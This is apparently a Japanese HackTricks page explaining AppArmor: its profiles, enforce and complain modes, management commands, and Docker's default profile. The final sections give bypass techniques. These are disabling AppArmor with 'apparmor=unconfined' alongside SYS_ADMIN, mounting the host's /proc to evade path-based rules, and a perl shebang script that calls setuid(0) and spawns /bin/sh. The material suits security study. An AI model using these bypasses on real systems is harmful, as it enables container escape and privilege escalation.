AppArmor
Reading time: 15 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
AppArmorは、プログラムごとのプロファイルを通じてプログラムに利用可能なリソースを制限するために設計されたカーネル拡張であり、ユーザーではなくプログラムに直接アクセス制御属性を結びつけることによって、必須アクセス制御(MAC)を効果的に実装します。このシステムは、プロファイルをカーネルにロードすることによって動作し、通常はブート時に行われ、これらのプロファイルはプログラムがアクセスできるリソース(ネットワーク接続、生ソケットアクセス、ファイル権限など)を決定します。
AppArmorプロファイルには2つの運用モードがあります:
- 強制モード:このモードは、プロファイル内で定義されたポリシーを積極的に強制し、これらのポリシーに違反するアクションをブロックし、syslogやauditdなどのシステムを通じて違反の試みをログに記録します。
- コンプライアンスモード:強制モードとは異なり、コンプライアンスモードはプロファイルのポリシーに反するアクションをブロックしません。代わりに、制限を強制することなく、これらの試みをポリシー違反としてログに記録します。
AppArmorのコンポーネント
- カーネルモジュール:ポリシーの強制を担当します。
- ポリシー:プログラムの動作とリソースアクセスのルールと制限を指定します。
- パーサー:ポリシーをカーネルにロードして強制または報告します。
- ユーティリティ:AppArmorとのインターフェースを提供し、管理するためのユーザーモードプログラムです。
プロファイルパス
AppArmorプロファイルは通常、_/etc/apparmor.d/_に保存されます。
sudo aa-status
を使用すると、いくつかのプロファイルによって制限されているバイナリをリストできます。リストされた各バイナリのパスの「/」をドットに変更すると、指定されたフォルダー内のAppArmorプロファイルの名前が得られます。
例えば、apparmorプロファイルは_/usr/bin/man_に対しては、_/etc/apparmor.d/usr.bin.man_にあります。
コマンド
aa-status #check the current status
aa-enforce #set profile to enforce mode (from disable or complain)
aa-complain #set profile to complain mode (from diable or enforcement)
apparmor_parser #to load/reload an altered policy
aa-genprof #generate a new profile
aa-logprof #used to change the policy when the binary/program is changed
aa-mergeprof #used to merge the policies
プロファイルの作成
- 影響を受ける実行可能ファイルを示すために、絶対パスとワイルドカードがファイルを指定するために許可されています。
- バイナリがファイルに対して持つアクセスを示すために、以下のアクセス制御を使用できます:
- r (読み取り)
- w (書き込み)
- m (実行可能なメモリマップ)
- k (ファイルロック)
- l (ハードリンクの作成)
- ix (新しいプログラムがポリシーを継承して別のプログラムを実行するため)
- Px (環境をクリーンにした後、別のプロファイルの下で実行)
- Cx (環境をクリーンにした後、子プロファイルの下で実行)
- Ux (環境をクリーンにした後、制限なしで実行)
- 変数はプロファイル内で定義でき、プロファイルの外部から操作できます。例えば: @{PROC} と @{HOME} (プロファイルファイルに #include <tunables/global> を追加)
- 許可ルールを上書きするための拒否ルールがサポートされています。
aa-genprof
プロファイルの作成を簡単に始めるために、apparmorが役立ちます。apparmorがバイナリによって実行されるアクションを検査し、許可または拒否したいアクションを決定できるようにすることが可能です。
実行する必要があるのは次のコマンドです:
sudo aa-genprof /path/to/binary
その後、別のコンソールでバイナリが通常実行するすべてのアクションを実行します:
/path/to/binary -a dosomething
次に、最初のコンソールで "s" を押し、記録されたアクションで無視、許可、またはその他を選択します。終了したら "f" を押すと、新しいプロファイルが /etc/apparmor.d/path.to.binary に作成されます。
note
矢印キーを使用して、許可/拒否/その他を選択できます。
aa-easyprof
バイナリの apparmor プロファイルのテンプレートを作成することもできます:
sudo aa-easyprof /path/to/binary
# vim:syntax=apparmor
# AppArmor policy for binary
# ###AUTHOR###
# ###COPYRIGHT###
# ###COMMENT###
#include <tunables/global>
# No template variables specified
"/path/to/binary" {
#include <abstractions/base>
# No abstractions specified
# No policy groups specified
# No read paths specified
# No write paths specified
}
note
デフォルトでは、作成されたプロファイルでは何も許可されていないため、すべてが拒否されます。たとえば、バイナリが/etc/passwd
を読み取ることを許可するには、/etc/passwd r,
のような行を追加する必要があります。
その後、新しいプロファイルを強制することができます。
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
ログからのプロファイルの変更
次のツールはログを読み取り、ユーザーに検出された禁止されたアクションのいくつかを許可するかどうかを尋ねます:
sudo aa-logprof
note
矢印キーを使用して、許可/拒否/その他の選択を行うことができます。
プロファイルの管理
#Main profile management commands
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain mode
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
ログ
Example of AUDIT and DENIED logs from /var/log/audit/audit.log of the executable service_bin
:
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
この情報は次の方法でも取得できます:
sudo aa-notify -s 1 -v
Profile: /bin/service_bin
Operation: open
Name: /etc/passwd
Denied: r
Logfile: /var/log/audit/audit.log
Profile: /bin/service_bin
Operation: open
Name: /etc/hosts
Denied: r
Logfile: /var/log/audit/audit.log
AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
DockerにおけるApparmor
デフォルトでdocker-profileのプロファイルがロードされることに注意してください:
sudo aa-status
apparmor module is loaded.
50 profiles are loaded.
13 profiles are in enforce mode.
/sbin/dhclient
/usr/bin/lxc-start
/usr/lib/NetworkManager/nm-dhcp-client.action
/usr/lib/NetworkManager/nm-dhcp-helper
/usr/lib/chromium-browser/chromium-browser//browser_java
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
/usr/lib/connman/scripts/dhclient-script
docker-default
デフォルトでは、Apparmor docker-default profileはhttps://github.com/moby/moby/tree/master/profiles/apparmorから生成されます。
docker-default profileの概要:
- すべてのネットワーキングへのアクセス
- 能力は定義されていません(ただし、いくつかの能力は基本的なベースルールを含むことから来ます。つまり、#include <abstractions/base>)
- /procファイルへの書き込みは許可されていません
- /procおよび**/sysの他のサブディレクトリ**/ファイルへの読み取り/書き込み/ロック/リンク/実行アクセスは拒否されます
- マウントは許可されていません
- Ptraceは、同じapparmor profileによって制限されたプロセスでのみ実行できます
dockerコンテナを実行すると、次の出力が表示されるはずです:
1 processes are in enforce mode.
docker-default (825)
注意してください、apparmorはデフォルトでコンテナに付与された能力の特権をブロックします。例えば、SYS_ADMIN能力が付与されていても/proc内への書き込み権限をブロックすることができます。なぜなら、デフォルトのdocker apparmorプロファイルはこのアクセスを拒否するからです:
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
echo "" > /proc/stat
sh: 1: cannot create /proc/stat: Permission denied
あなたはその制限を回避するためにapparmorを無効にする必要があります:
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
デフォルトでは、AppArmorはコンテナが内部からフォルダーをマウントすることを禁止します。SYS_ADMIN権限があってもです。
capabilitiesをdockerコンテナに追加/削除することができます(これはAppArmorやSeccompのような保護方法によって制限されます):
--cap-add=SYS_ADMIN
SYS_ADMIN
権限を付与--cap-add=ALL
すべての権限を付与--cap-drop=ALL --cap-add=SYS_PTRACE
すべての権限を削除し、SYS_PTRACE
のみを付与
note
通常、dockerコンテナの内部で特権権限が利用可能であることを発見したが、エクスプロイトの一部が機能していない場合、これはdockerのapparmorがそれを防いでいるためです。
例
(こちらからの例)
AppArmorの機能を示すために、次の行を追加した新しいDockerプロファイル「mydocker」を作成しました:
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
プロファイルを有効にするには、次の手順を実行する必要があります:
sudo apparmor_parser -r -W mydocker
プロファイルをリストするには、次のコマンドを実行できます。以下のコマンドは、私の新しいAppArmorプロファイルをリストしています。
$ sudo apparmor_status | grep mydocker
mydocker
以下のように、AppArmorプロファイルが「/etc」への書き込みアクセスを防いでいるため、「/etc/」を変更しようとするとエラーが発生します。
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
chmod: /etc/hostname: Permission denied
AppArmor Docker Bypass1
どの apparmor プロファイルがコンテナを実行しているか を見つけるには、次のコマンドを使用します:
docker inspect 9d622d73a614 | grep lowpriv
"AppArmorProfile": "lowpriv",
"apparmor=lowpriv"
次に、以下の行を実行して使用されている正確なプロファイルを見つけることができます:
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
奇妙な場合には、apparmor docker プロファイルを変更して再読み込みすることができます。 制限を削除し、「バイパス」することができます。
AppArmor Docker バイパス2
AppArmorはパスベースです。 これは、/proc
のようなディレクトリ内のファイルを保護している場合でも、コンテナの実行方法を構成できるなら、ホストのプロクスディレクトリを**/host/proc
にマウントすることができ、AppArmorによって保護されなくなる**ことを意味します。
AppArmor シェバング バイパス
このバグでは、**特定のリソースでperlの実行を防いでいる場合でも、最初の行に#!/usr/bin/perl
**を指定したシェルスクリプトを作成し、ファイルを直接実行することで、任意のものを実行できる例を見ることができます。例えば:
echo '#!/usr/bin/perl
use POSIX qw(strftime);
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/sh"' > /tmp/test.pl
chmod +x /tmp/test.pl
/tmp/test.pl
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。